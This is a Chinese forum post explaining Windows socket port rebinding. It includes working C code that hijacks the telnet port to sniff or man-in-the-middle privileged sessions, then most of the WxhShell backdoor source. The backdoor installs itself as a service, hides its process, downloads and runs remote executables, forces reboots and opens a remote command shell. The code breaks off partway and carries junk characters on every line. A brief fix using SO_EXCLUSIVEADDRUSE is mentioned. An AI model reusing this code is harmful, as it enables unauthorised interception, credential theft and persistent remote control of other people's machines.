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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0B:{4Lsn&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f(MHU   
*]| JX&  
  saddr.sin_family = AF_INET; =v`&iL~m  
7<'i#E~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l )V43  
Ol h%"=*;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -V_S4|>   
#cF8)GC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w[vIPlSdS  
j.v _  
  这意味着什么?意味着可以进行如下的攻击: jL).B&  
ITqigGan%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z q>.;>  
VP[!ji9P   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uqeWdj*Y  
&r%^wfp  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aYCzb7  
fTtSx_}3H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HZ4 ^T7G  
{QkH%jj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P2RL\`<"  
oOSyOD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *G|]5  
kV9NFo22  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &L`p4AZ  
yVv3S[J  
  #include SFNd,(kB*z  
  #include Xn'>k[}<k  
  #include JT^0AZ_*  
  #include    b:I5poI3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0DT2qM[,  
  int main() 6T_c#G5  
  { +%$V?y (  
  WORD wVersionRequested; 3H %WB|  
  DWORD ret; 'E8Qi'g  
  WSADATA wsaData; <bppu>&  
  BOOL val; 8gm[Q[  
  SOCKADDR_IN saddr; iPYlTV  
  SOCKADDR_IN scaddr; TBYL~QQD\C  
  int err; ,dMi+c`ax  
  SOCKET s; D+PUi!  
  SOCKET sc; /! G0 g%k  
  int caddsize; DdBr Jx  
  HANDLE mt; 3iL&;D  
  DWORD tid;   rrRC5h  
  wVersionRequested = MAKEWORD( 2, 2 ); M)Q+_c2*  
  err = WSAStartup( wVersionRequested, &wsaData ); }CqIKoX.  
  if ( err != 0 ) { pz=Wq4 l  
  printf("error!WSAStartup failed!\n"); P*sCrGO%  
  return -1; "!?Ya{  
  } VH65=9z  
  saddr.sin_family = AF_INET; 6E4L4Vb  
   r{&"]'/X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m q9&To!  
?&_\$L[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M/;g|J jM  
  saddr.sin_port = htons(23); <Ux;dekz}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U++UG5c  
  { \zyGJyy.  
  printf("error!socket failed!\n"); 9Ua@-  
  return -1; m!(K  
  } 4{E=wg^p  
  val = TRUE; h 42?^mV4?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5P x_vtqP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TUr}p aw_  
  { +[+ Jd)Z  
  printf("error!setsockopt failed!\n"); [%:NR  
  return -1; cKAl 0_[f"  
  } &Y$rVBgQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; en)DN3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1cega1s3xR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =QRZ(2Wq  
 VVY\W!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f^ qQ 5N  
  { Mt>DAk  
  ret=GetLastError(); [ Ma9  
  printf("error!bind failed!\n"); y5}|Y{5  
  return -1; +/tD$  
  } `R^VK-=C  
  listen(s,2); \Qn8"I83AV  
  while(1) i`;I"oY4  
  { Z(P#]jI]  
  caddsize = sizeof(scaddr); wd *Jq  
  //接受连接请求 RZjR d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N8TO"`wdbs  
  if(sc!=INVALID_SOCKET) p"Y=  
  { .Pi67Kj,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ';%g^!lM a  
  if(mt==NULL) [A47OR  
  { Pcc%VQN  
  printf("Thread Creat Failed!\n"); 4=Zlsp  
  break; "yumc5kt  
  } t/CNxfY  
  } aum,bm/0J  
  CloseHandle(mt); Z:Wix|,ONS  
  } U Lq%,ca  
  closesocket(s); -h}J%UV  
  WSACleanup(); 6dh PqL  
  return 0; FYJB.lAT  
  }   ~oI49Q&{  
  DWORD WINAPI ClientThread(LPVOID lpParam) =[,adB  
  { 3^\y>  
  SOCKET ss = (SOCKET)lpParam; +J} 41  
  SOCKET sc; Smp+}-3O  
  unsigned char buf[4096]; ,Xw/ t>  
  SOCKADDR_IN saddr; E$T#o{pai  
  long num; yRtFUlm`  
  DWORD val; C{D2mSS  
  DWORD ret; `e bB+gI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 > h9U~#G=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ra3WLK  
  saddr.sin_family = AF_INET; BC+HP9<]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #[8gH>7  
  saddr.sin_port = htons(23); -} (W=r\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VlEkT9^:  
  { 5^xt/vYa)  
  printf("error!socket failed!\n"); !\m.&lk'^  
  return -1; X}ZOjX!  
  } -nW{$&5AF  
  val = 100; +0OQ"2^&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zR4huo  
  { % /s1ma6q  
  ret = GetLastError(); sw&Qks? V  
  return -1; +SJ aE] $  
  } X:Zqgf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yU\|dL  
  { Zwc b5\Q  
  ret = GetLastError(); bhI8b/  
  return -1; [  /D/  
  } #G,e]{gs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U t%ie=c  
  { _w26iCnB{  
  printf("error!socket connect failed!\n"); ql8:s>1T  
  closesocket(sc); T|m+ULp~  
  closesocket(ss); 41.+3VP  
  return -1; 3lJK[V{'#'  
  } 2|cIu 'U  
  while(1) >8VJ!Kg4  
  { ] =D+a&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  LKm5U6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \KEL.}B9E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5ZSw0A(w  
  num = recv(ss,buf,4096,0); V6!oe^a7'  
  if(num>0) U!Lws#\X  
  send(sc,buf,num,0); ":Q70*xSm  
  else if(num==0) qj|GAGrQ2  
  break; %!q(zql  
  num = recv(sc,buf,4096,0); }A#FGH +  
  if(num>0) a}fW3+>  
  send(ss,buf,num,0); O-7 \qz  
  else if(num==0) 0e:aeLh  
  break; cz0tnF*&  
  } |XsW)/  
  closesocket(ss); iCH Z{<k  
  closesocket(sc); w"D"9 G  
  return 0 ; K)k!`du!6  
  } QCjmg5bf'7  
B<o i,S  
LR^b?.#>  
==========================================================  Op|Be  
)FB)ZK;  
下边附上一个代码,,WXhSHELL :S%|^Q AN  
mr;WxxO5  
========================================================== $Fo ,$  
O`2%@%?I  
#include "stdafx.h" Ah"Rx A  
P }PSS#nn  
#include <stdio.h> ~E)I+$,  
#include <string.h> wU=(_S,c  
#include <windows.h> hP|5q&wX  
#include <winsock2.h> /E*P0y~KTW  
#include <winsvc.h> E 1>3[3  
#include <urlmon.h> WgY3g1C  
R&-bA3w$  
#pragma comment (lib, "Ws2_32.lib") { u;ntDr  
#pragma comment (lib, "urlmon.lib") >s{[d$  
0/%zXp&m  
#define MAX_USER   100 // 最大客户端连接数 Z8:iaP)  
#define BUF_SOCK   200 // sock buffer R; IB o  
#define KEY_BUFF   255 // 输入 buffer ^EB}e15"  
8>w/Es5  
#define REBOOT     0   // 重启 aB$Y5  
#define SHUTDOWN   1   // 关机 $k!t&G  
Y!SD^Ie7!  
#define DEF_PORT   5000 // 监听端口 tvg7mU]l  
aMzAA  
#define REG_LEN     16   // 注册表键长度 f",B;C  
#define SVC_LEN     80   // NT服务名长度 ^x4gUT-Wy  
c  xX  
// 从dll定义API T$+}Srb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); No[>1]ds  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J${wU @_ %  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j6Vuj/+}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #$8tBo  
=7$YBCuF  
// wxhshell配置信息 yJr'\(  
struct WSCFG { 0z,c6MjM+  
  int ws_port;         // 监听端口 )2R:P`U  
  char ws_passstr[REG_LEN]; // 口令 \ii^F?+b  
  int ws_autoins;       // 安装标记, 1=yes 0=no t4,6`d?C  
  char ws_regname[REG_LEN]; // 注册表键名 }+u<^7$g|  
  char ws_svcname[REG_LEN]; // 服务名 ."MBKyg6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $#0%gs/x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >0f5Mjug  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &gq\e^0CRZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V+E2nJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qx {/izc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b|4h2iuM  
K}Aaflq  
}; Um*{~=;u  
Ha;^U/0|  
// default Wxhshell configuration \b' <q  
struct WSCFG wscfg={DEF_PORT, R|Ykez!D  
    "xuhuanlingzhe", W~gFY#w  
    1, n#m )]YQC  
    "Wxhshell", ^gNAGQYA  
    "Wxhshell", :^px1  
            "WxhShell Service", YKj7~yK?  
    "Wrsky Windows CmdShell Service", sfx:j~bsL  
    "Please Input Your Password: ", g{dyDN$5|w  
  1, 8eOQRC33  
  "http://www.wrsky.com/wxhshell.exe", \dufKeiS&a  
  "Wxhshell.exe" <;U"D.'  
    }; JZP2NB_xt  
C: e}}8i  
// 消息定义模块 {MYlW0)~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zWjGGTP~3&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 06Uxd\E~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )]qFI"B7  
char *msg_ws_ext="\n\rExit."; DlIfr6F  
char *msg_ws_end="\n\rQuit."; \19XDqf8  
char *msg_ws_boot="\n\rReboot..."; ]/d2*#  
char *msg_ws_poff="\n\rShutdown..."; vBM\W%T|d  
char *msg_ws_down="\n\rSave to "; t.knYO)  
U*a!Gn7l  
char *msg_ws_err="\n\rErr!"; xR1g  
char *msg_ws_ok="\n\rOK!"; qRB%G<H  
vZ|-VvG  
char ExeFile[MAX_PATH];  ) mv}u~  
int nUser = 0; QMfYM~o  
HANDLE handles[MAX_USER]; wz6e^ g  
int OsIsNt; "Ny_RF  
Bq:@ [pCQ  
SERVICE_STATUS       serviceStatus; !' sDqBZ&7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wg}#{[4  
pl"|NZz 7;  
// 函数声明 u $sX6  
int Install(void); }3?M0:  
int Uninstall(void); &ul9N)A  
int DownloadFile(char *sURL, SOCKET wsh); j83p[qR7o  
int Boot(int flag); i [j`'.fj  
void HideProc(void);  ^5 ;Y  
int GetOsVer(void); gXH89n  
int Wxhshell(SOCKET wsl); K7_)!=DcX  
void TalkWithClient(void *cs); PfuYT_p4s  
int CmdShell(SOCKET sock); 7rhpIP2n  
int StartFromService(void); (.n" J2qj  
int StartWxhshell(LPSTR lpCmdLine); h+$_:](PC  
;G},xDGO_m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {s`1+6_&Vz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LI nN-b#  
"&2D6  
// 数据结构和表定义 \XB71DUF  
SERVICE_TABLE_ENTRY DispatchTable[] = oY0*T9vv+  
{ BO{J{  
{wscfg.ws_svcname, NTServiceMain}, p>!r[v'  
{NULL, NULL} kbMIMZC/G  
}; [e&$4l IS  
iK.MC%8?  
// 自我安装 |Ec$%  
int Install(void) :+R ||q i  
{ )8Q|y  
  char svExeFile[MAX_PATH]; {) .=G  
  HKEY key; K=B[MT#V{2  
  strcpy(svExeFile,ExeFile); !'[sV^ ds  
^lQ-w|7(  
// 如果是win9x系统,修改注册表设为自启动 s]2k@3|e  
if(!OsIsNt) { 8a05`ZdP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Xn#e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }e@j(*8  
  RegCloseKey(key); # =322bnO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f0^s*V+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <T7y85  
  RegCloseKey(key); }& 1_gn15  
  return 0; uZQ)A,#n;  
    } a}Ov @7  
  } F]ALZxwkz  
} |H@M-  
else { o0<T|zgF5,  
h]zx7zt-  
// 如果是NT以上系统,安装为系统服务 TvQAy/Y0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Kt^PL&A2  
if (schSCManager!=0) f|q6<n_nM  
{ wZOO#&X#r  
  SC_HANDLE schService = CreateService !IGVN:E  
  ( d-?~O~qD|!  
  schSCManager, Mv9s  
  wscfg.ws_svcname, iYnw?4Y  
  wscfg.ws_svcdisp, v h%\ " h  
  SERVICE_ALL_ACCESS, p(U'Ydl~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r] ]Ke_s!  
  SERVICE_AUTO_START, A2+t`[ w  
  SERVICE_ERROR_NORMAL, 'l;?P  
  svExeFile, o+tY[UX  
  NULL, wIY#TBu  
  NULL, F^a D!O ~  
  NULL, @*_K#3  
  NULL, tRXM8't   
  NULL N..u<06j/  
  ); ,:v}gS?Uq  
  if (schService!=0)  Cn_Mz#Z  
  { "~+K`*0r8  
  CloseServiceHandle(schService); X0U6:  
  CloseServiceHandle(schSCManager); JN8k x;@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bf-&[ 5N}  
  strcat(svExeFile,wscfg.ws_svcname); a1}W2;W0]g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %r>vZ/>a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G's/Q-'[\  
  RegCloseKey(key); 2dq{n.cgs  
  return 0; UGN. ]#"#  
    } aI\VqOt]  
  } fe Q%L  
  CloseServiceHandle(schSCManager); B;-oa;m:E=  
} kNjbpCE\!  
} Og&2,`Jb  
hm5<_(F!  
return 1; @ J"1 !`  
} \e=@h!p  
{-E{.7  
// 自我卸载 My[L3KTTp  
int Uninstall(void) J]~3{Mi  
{ eR}d"F4W  
  HKEY key; k\%{1oRA  
'Gc6ZSLM  
if(!OsIsNt) { %|u"0/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! [:K/  
  RegDeleteValue(key,wscfg.ws_regname); fkI<RgM  
  RegCloseKey(key); V}J W@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I#mT#xs6  
  RegDeleteValue(key,wscfg.ws_regname); F^w0TD8  
  RegCloseKey(key); 'shOSB  
  return 0; &{ f5F7E@  
  } xA-G&oC]<T  
} ,fN iZ  
} <h;P<4JX  
else { \twlHj4  
'6aH*B:}*;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HL)1{[|`  
if (schSCManager!=0) ZWr\v!4  
{ :2?'mKa7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `  ^6}Dn  
  if (schService!=0) ZNx{7]=a  
  { 9!R!H&  
  if(DeleteService(schService)!=0) { 7i'vAOnw^  
  CloseServiceHandle(schService); ^*0;Z<_  
  CloseServiceHandle(schSCManager); `P GWu1/  
  return 0; c8yD-U/-  
  } %bv<OMD  
  CloseServiceHandle(schService); PC3wzJ\\S  
  } .f6_[cS;g  
  CloseServiceHandle(schSCManager); `t8e2?GH  
} NeWssSje  
} L@+j8[3BX  
"zv+|_ZAfd  
return 1; ElYHA  
} 2/bck)p=  
5H',Bm4-  
// 从指定url下载文件 WUxr@0  
int DownloadFile(char *sURL, SOCKET wsh) cJty4m-  
{ g_}@/5?y  
  HRESULT hr; QzS{2Y[OQ  
char seps[]= "/"; hqE#BnQxP,  
char *token; lF#Kg !-l  
char *file; 6Qo6 T][  
char myURL[MAX_PATH]; 0!?f9kJq  
char myFILE[MAX_PATH]; &"CS1P|  
qItI):9U  
strcpy(myURL,sURL); M0]fh5O  
  token=strtok(myURL,seps); 5G2u(hx  
  while(token!=NULL) wbpxJtJB  
  { HnpGPGz@F  
    file=token; EZ=M^0=Hpf  
  token=strtok(NULL,seps); x r=f9?%R  
  } YvU#)M_h  
\myc n/e  
GetCurrentDirectory(MAX_PATH,myFILE); g-]td8}#  
strcat(myFILE, "\\"); weDv[b5i  
strcat(myFILE, file); ;Joo!CXHO  
  send(wsh,myFILE,strlen(myFILE),0); )/=J=xw2  
send(wsh,"...",3,0); :@p`E}1r{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1DBzD%@Oz  
  if(hr==S_OK) ,`wxXU7  
return 0; "y`?KY$[N  
else vuK 5DG4  
return 1; !]`]67lC  
v|e\o~2D`  
} E6G^?k~q  
eFx*lYjA  
// 系统电源模块 iUO5hdOM  
int Boot(int flag) Zaj<*?\  
{ m760K*:i\  
  HANDLE hToken; H4pjtVBr  
  TOKEN_PRIVILEGES tkp; nQgn^z#  
.!`j3W]  
  if(OsIsNt) { RXP"v-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 65}:2l2<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K[9<a>D`  
    tkp.PrivilegeCount = 1; H#ihU3q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kfHLjr.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6?`py}:  
if(flag==REBOOT) { >,y QG+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qR1ez-#K  
  return 0; zL{KK9Or  
} >!wwXhH(  
else { iGp@P=;m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \gzNMI*  
  return 0; UOwj"#  
} SQHV gj  
  } 'J\%JAR@  
  else { w?R6$n`  
if(flag==REBOOT) { uo%zfi?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p&q&Fr-   
  return 0; 1]qhQd-u  
} -@QLE}~k[  
else { c2i^dNp_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5H5< ft,  
  return 0; t & ucq Y  
} 5=$D~>-#  
} 7_|zMk.J*  
F!Uk`[L  
return 1; Rk'pymap  
} h;Bol  
 R` N-^x  
// win9x进程隐藏模块 AKHi$Bk  
void HideProc(void) d) > if<o  
{ sQ_{zOUPh  
3}sd%vCK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7N:,F9V<  
  if ( hKernel != NULL ) w</kGK[O  
  { _E1:3 N|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ul:jn]S*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a~{mRh  
    FreeLibrary(hKernel); _[.`QW~  
  } b,!h[  
Bp b_y;E  
return; EJRwyF5 LK  
} bclA+!1  
[WB8X,  
// 获取操作系统版本 X09& S4  
int GetOsVer(void) }?H|9OS  
{ 9iGJYMWf  
  OSVERSIONINFO winfo; }3QEclZr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2"13!s  
  GetVersionEx(&winfo); [aIQ/&Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v_b%2;<1  
  return 1; 6 s*#y [$  
  else j]jwQRe  
  return 0; =WHdy;  
} zHyM@*Gf(  
O>}aK.H  
// 客户端句柄模块 -l^u1z  
int Wxhshell(SOCKET wsl) &t`l,]PQ=6  
{ }2G'3msx  
  SOCKET wsh; A?Uyj  
  struct sockaddr_in client; Z~v.!j0  
  DWORD myID; 'w&,3@Z  
}]/"auk  
  while(nUser<MAX_USER) A5z5e# ,u  
{ `2}Mz9mk  
  int nSize=sizeof(client); 3!#d&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '(~+ \  
  if(wsh==INVALID_SOCKET) return 1; >12phLu  
  Lxs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EW|bs#l  
if(handles[nUser]==0) =M>pL+#  
  closesocket(wsh); }c$Zlb  
else a! ]'S4JS  
  nUser++; 8|HuxE  
  } #T&''a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ' 4ftclzL  
G-~+FnUC  
  return 0; 1o V\QK&  
} Ic P]EgB  
~4<xTP\*  
// 关闭 socket 3* 1cCM42  
void CloseIt(SOCKET wsh) ,eW K~ pa  
{ lmf vT}$B  
closesocket(wsh); 3)3?/y)_  
nUser--; Et}S*!IS  
ExitThread(0); f,9/Yg_  
} k+t?EZ6L  
uD4on}  
// 客户端请求句柄 &gR)Y3  
void TalkWithClient(void *cs) 3rBSwgRl  
{ N2#Wyt8MC  
$SQ UN*/>  
  SOCKET wsh=(SOCKET)cs; "wy|gnQJ  
  char pwd[SVC_LEN]; %-1-y]R|  
  char cmd[KEY_BUFF]; ~4fUaMT  
char chr[1];  d|;S4m`  
int i,j; B:J([@\'  
'"qTmo!  
  while (nUser < MAX_USER) { LDc?/ Z1  
W8,4LxH  
if(wscfg.ws_passstr) { '{*{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |qm_ESzl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D`d*bNR  
  //ZeroMemory(pwd,KEY_BUFF); Vq-W|<7C=  
      i=0; Pu>jECcz  
  while(i<SVC_LEN) { Pw+PBIGn4  
kD;1+lNz  
  // 设置超时 v]{F.N  
  fd_set FdRead; *hWpJEV  
  struct timeval TimeOut; >-oB%T  
  FD_ZERO(&FdRead); pW5ch"HE  
  FD_SET(wsh,&FdRead); r ]s7a?O  
  TimeOut.tv_sec=8; R RRF/Z;))  
  TimeOut.tv_usec=0; )SU\s+"M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #K#BNpG|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 03p D<  
HKp|I%b]J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  3-~*  
  pwd=chr[0]; Eqizx~eqq  
  if(chr[0]==0xd || chr[0]==0xa) { !WS Y75  
  pwd=0; {=I:K|&  
  break; f4 k  
  } :Oiz|b(  
  i++; =M6Ph%  
    } b!p]\B!  
JkShtLEr  
  // 如果是非法用户,关闭 socket u*}ltR~/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I4XnJ[N%  
} )2sE9G,  
o|kiwr}Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jlxY|;gZ-0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _sqj~|K  
y`,;m#frT  
while(1) { |`|#-xu  
l*>,K2F  
  ZeroMemory(cmd,KEY_BUFF); _lG|t6y  
CZ 33|w  
      // 自动支持客户端 telnet标准   TTa$wiW7'  
  j=0; K/iFB  
  while(j<KEY_BUFF) { 4aP 96  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q&#Arph0e  
  cmd[j]=chr[0]; N_^PoX935O  
  if(chr[0]==0xa || chr[0]==0xd) { aPdEEqc\l  
  cmd[j]=0; UY6aD~tD0  
  break; S,Z~-j  
  } $l $p|  
  j++; v,'k 2H  
    } g#k@R'7E  
8NkyT_\  
  // 下载文件 =X1oB ,W{  
  if(strstr(cmd,"http://")) { a<0q%A x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BOOb{kcg  
  if(DownloadFile(cmd,wsh)) wz..  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); enx+,[  
  else GbC@ |  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h`dHk]O  
  } /X]gm\x7s  
  else { (mr*Thy`@  
@HzK)%@  
    switch(cmd[0]) { * >/w,E]  
  **$kW bS  
  // 帮助 S{RRlR6Z  
  case '?': { blLl1Ak  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w&@zJ[  
    break; PR/>E60H  
  } \QQWhwE  
  // 安装 ;m7~!m)  
  case 'i': { Ee_?aG e&  
    if(Install()) {Q>4zepN!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]x).C[^  
    else T6b~uE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LF `]=.Q  
    break; g&S> Wq%L  
    } $EHF f$M  
  // 卸载 4X",:B}  
  case 'r': { ?2_h.  
    if(Uninstall()) H,W8JNPs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pTaC$Ne  
    else HE{UgU:tY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fK~8h  
    break; kL8 E#  
    } $vK,Gugcx  
  // 显示 wxhshell 所在路径 s$zm)y5  
  case 'p': { ,cxe"U  
    char svExeFile[MAX_PATH]; 3-E-\5I  
    strcpy(svExeFile,"\n\r"); [MQ* =*  
      strcat(svExeFile,ExeFile); IhBQ1,&J  
        send(wsh,svExeFile,strlen(svExeFile),0); T{2)d]Y  
    break; :{^~&jgL  
    } O8A(OfX  
  // 重启 ?hAO-*);  
  case 'b': { daP_Kz/2K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  Lagk   
    if(Boot(REBOOT)) JU;`c>8=)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +*xc4  
    else { #>HY+ ;  
    closesocket(wsh); K2e68GU  
    ExitThread(0); GqNOWK2O  
    } kN3 <l7  
    break; IA&V?{OE@I  
    } 4!OGNr$V@  
  // 关机 (,t[`z  
  case 'd': { .I EHjy\+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5!S#}=f=  
    if(Boot(SHUTDOWN)) .gGO+8[N*  
